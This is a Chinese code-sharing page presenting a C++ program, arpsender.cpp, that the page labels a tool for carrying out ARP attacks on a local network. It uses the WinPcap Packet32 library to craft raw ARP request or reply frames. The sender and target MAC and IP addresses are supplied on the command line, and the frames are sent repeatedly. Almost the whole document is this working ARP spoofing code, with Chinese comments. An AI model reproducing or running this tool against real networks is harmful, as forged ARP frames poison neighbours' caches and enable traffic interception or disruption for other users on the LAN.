⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 arpsender.cpp

📁 在局域网中实现arp攻击
💻 CPP
字号:
#include "Mac.h"
#include <stdio.h>
#include <iostream.h>
#include <Packet32.h>//winpcap函数库
#include <conio.h>//conio是Console Input/Output(控制台输入输出)的简写,其中定义了通过控制台进行数据输入和数据输出的函数,主要是一些用户通过按键盘产生的对应操作

#pragma comment (lib,"ws2_32.lib")//动态链接函数库
#pragma comment (lib,"packet.lib")

#define IP_PRO         0x0800 //IP协议
#define ARP_PRO        0x0806 //arp帧类型
#define RARP_PRO       0x8035 //rarp帧类型
#define ARP_HARDWARE   0x0001 //硬件类型
#define ARP_REQUEST    0x0001 //ARP请求包
#define ARP_REPLY      0x0002 //ARP应答包

#define Max_Num_Adapter 10    //设置最大适配器的数量
#pragma pack(push,1)          //对齐使CPU访问时高速

struct DLC_Header             //物理帧头结构体
{
  unsigned char DLC_dst[6];   //目的mac地址
  unsigned char DLC_src[6];   //源mac地址
  unsigned short DLC_type;    //以太网包的类型
};

struct ARP_Frame              //ARP帧的格式
{
    unsigned short ARP_hard;           //硬件类型 0x1 以太网类型值
	unsigned short ARP_high_pro;       //上层协议类型 0x0800 上层协议为IP协议
	unsigned char  ARP_mac_long;       //MAC地址长度  0x6 以太网MAC地址长度为 6 
	unsigned char  ARP_high_pro_long;  //上层协议地址长度 0x4 地址长度为 4 
	unsigned short ARP_op;             //操作码 0x1表示ARP请求包,0x2表示应答包

	unsigned char  ARP_send_mac[6];    //发送方MAC
	unsigned long  ARP_send_ip;        //发送方IP 
    unsigned char  ARP_receive_mac[6]; //接收方MAC 
	unsigned long  ARP_receive_ip;     //接收方IP
};

struct Arp_Packet
{
    DLC_Header  dlc_header;
    ARP_Frame   arp_frame;
};
#pragma pack(pop)
void Usage()
{
	cout<<"******************************************"<<endl;
	cout<<"Usage: ARP.exe ARP_send_mac ARP_send_ip ARP_receive_mac ARP_receive_ip arp_op times"<<endl;
	cout<<"\nComment:"<<endl;
	cout<<"\tARP_send_mac:the MAC address of packet sender, eg:AAAAAABBBBBB"<<endl;
	cout<<"\tARP_send_ip:the IP address of packet sender, eg:192.168.1.1"<<endl;
	cout<<"\tARP_receive_mac:the MAC address of target"<<endl;
	cout<<"\tARP_receive_ip:the IP address of target"<<endl;
	cout<<"\tarp_op: the operation of ARP, 1:request, 2:reply"<<endl;
	cout<<"\ttimes: the times of sending ARP packet.(int)"<<endl;
	cout<<"*******************************************"<<endl;
}

int main(int argc,char *argv[])
{
	static char AdapterList[Max_Num_Adapter][1024];//定义适配器列表
	char szPacketBuf[600];//缓存
	char MacAddr[6];//Mac地址

    LPADAPTER	lpAdapter;
	LPPACKET	lpPacket;
	WCHAR		AdapterName[2048]={0};
	WCHAR		*temp,*temp1;
	Arp_Packet  ARPPacket;

	ULONG AdapterLength = 1024;
	
	int AdapterNum = 0;//适配器的数量
	int nRetCode, i;
	int nARPOP = 0;//操作类型
	int nTimes = 0;//发送arp包的时间
	int nAdapter = 0;//选择的适配器
    
	Usage();
    if(argc<7)
	{
		return 0;
	}

	nARPOP=atoi(argv[5]);//操作类型的接收
	if(!(nARPOP==1||nARPOP==2))
	{
		cout<<"Please enter the ARP op!"<<endl;
	}

	nTimes =atoi(argv[6]);//发送arp包的时间的接收
	if(nTimes<=0)
	{
		nTimes =1;
	}

/************************************************************/
	//获得系统中网络适配器的名字
	if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)//得到现有的网络适配器的列表和它们的描述
	{
		cout<<"Unable to retrieve the list of the adapters!"<<endl;
		return 0;
	}

	temp =AdapterName;
	temp1=AdapterName;
	i=0;
	while((*temp!='\0')||(*(temp-1)!='\0'))
	{
		if (*temp == '\0') 
			{
				memcpy(AdapterList[i],temp1,2*(temp-temp1));//内存数据拷贝 
				temp1=temp+1;
				i++;
			}
		
			temp++;
	}
/**************************************************************************************************/
	AdapterNum =i;
	for (i = 0; i <AdapterNum; i++)//显示所有网络适配器
	{
	    wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
	}
    
	while((nAdapter <= 0) || (nAdapter > AdapterNum))//选择网络适配器
	{
	   cout<<"\nPlease choose your Adapter:"<<endl;
		cin>>nAdapter;
	}

    
	//Default open the 0从适配器列表中选择一个选择了的适配器
	lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[nAdapter - 1]);
	if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
	{
		nRetCode = GetLastError();
	    cout<<"Unable to open the driver, Error Code : "<<endl;
		return 0;
	}
    /*****************************************************************/
	lpPacket = PacketAllocatePacket();//为_PACKET结构分配内存。如果执行成功,返回指向_PACKET结构的指针。否则,返回NULL。
	if(lpPacket == NULL)
	{
	    cout<<"Error:failed to allocate the LPPACKET structure."<<endl;
		return 0;
	}
	ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
/*************************************************************************
   //物理桢头的填充
/**************************************************/
	if (!GetMacAddr(argv[3], MacAddr))//获得目的mac
	{
		cout<<"Get Mac address error!\n"<<endl;
		return 0;
	}
	
	memcpy(ARPPacket.dlc_header.DLC_dst, MacAddr, 6);
/************************************************/
	if (!GetMacAddr(argv[1], MacAddr))//获得源mac
	{
		cout<<"Get Mac address error!\n"<<endl;
		return 0;
	}
	memcpy(ARPPacket.dlc_header.DLC_src, MacAddr, 6);
/************************************************/
	ARPPacket.dlc_header.DLC_type = htons(ARP_PRO);//获得以太网包的类型

/*****************************************************************************/
    //ARP帧的格式的填充
	/*
				unsigned short ARP_hard;           //硬件类型 0x1 以太网类型值
				unsigned short ARP_pro;            //上层协议类型 0x0800 上层协议为IP协议
				unsigned char  ARP_mac_long;       //MAC地址长度  0x6 以太网MAC地址长度为 6 
				unsigned char  ARP_pro_long;       //上层协议地址长度 0x4 地址长度为 4 
				unsigned short ARP_op;             //操作码 0x1表示ARP请求包,0x2表示应答包

				unsigned char  ARP_send_mac[6];    //发送方MAC
				unsigned long  ARP_send_ip;        //发送方IP 
				unsigned char  ARP_receive_mac[6]; //接收方MAC 
				unsigned long  ARP_receive_ip;     //接收方IP
	*/
	ARPPacket.arp_frame.ARP_hard= htons(ARP_HARDWARE);//硬件类型 0x1 以太网类型值
	ARPPacket.arp_frame.ARP_high_pro = htons(IP_PRO);//上层协议类型 0x0800 上层协议为IP协议
	ARPPacket.arp_frame.ARP_mac_long = 6;//MAC地址长度  0x6 以太网MAC地址长度为 6 
	ARPPacket.arp_frame.ARP_high_pro_long = 4; //上层协议地址长度 0x4 地址长度为 4 
	ARPPacket.arp_frame.ARP_op = htons(nARPOP);//操作码 0x1表示ARP请求包,0x2表示应答包
/***********************************************发送方MAC获取*/
	if (!GetMacAddr(argv[1], MacAddr))
	{
		cout<<"Get Mac address error!\n"<<endl;
		return 0;
	}
	memcpy(ARPPacket.arp_frame.ARP_send_mac, MacAddr, 6);
	ARPPacket.arp_frame.ARP_send_ip = inet_addr(argv[2]);//发送方ip的填充
/**********************************************接收方MAC获取*/
	if (!GetMacAddr(argv[3], MacAddr))
	{
		cout<<"Get Mac address error!\n"<<endl;
		return 0;
	}
      
	memcpy(ARPPacket.arp_frame.ARP_receive_mac, MacAddr, 6);
/*************************************************************/
	ARPPacket.arp_frame.ARP_receive_ip = inet_addr(argv[4]);//目的ip的填充
/*******************************************************************/
	memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
	PacketInitPacket(lpPacket, szPacketBuf, 60);//初始化一个_PACKET结构,即将packet结构中的buffer设置为传递的buffer指针

	if(PacketSetNumWrites(lpAdapter, 1)==FALSE)//设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数
	{
		cout<<"warning: Unable to send more than one packet in a single write"<<endl;
	}
	
	for (i = 1; i <= nTimes; i++)
	{
		Sleep(10);

		if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)//发送一个或多个数据报的副本
		{
			cout<<"Error sending the packets!"<<endl;
			return 0;
		}
		cout<<".";
	}

	cout<<endl;
	/*
			cout<<ARPPacket.arp_frame.ARP_hard<<endl;
			cout<<ARPPacket.arp_frame.ARP_high_pro<<endl;
			cout<<ARPPacket.arp_frame.ARP_high_pro_long<<endl;
			cout<<ARPPacket.arp_frame.ARP_mac_long<<endl;
			cout<<ARPPacket.arp_frame.ARP_op<<endl;
			cout<<ARPPacket.arp_frame.ARP_receive_ip<<endl;
			cout<<ARPPacket.arp_frame.ARP_receive_mac<<endl;
			cout<<ARPPacket.arp_frame.ARP_send_ip<<endl;
			cout<<ARPPacket.arp_frame.ARP_send_mac<<endl;
			cout<<ARPPacket.dlc_header.DLC_dst<<endl;
			cout<<ARPPacket.dlc_header.DLC_src<<endl;
			cout<<ARPPacket.dlc_header.DLC_type<<endl;
    */
    cout<<"send ok"<<endl;
	// close the adapter and exit
	PacketFreePacket(lpPacket);// 释放参数提供的_PACKET结构。
	PacketCloseAdapter(lpAdapter);//关闭网卡。
    return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -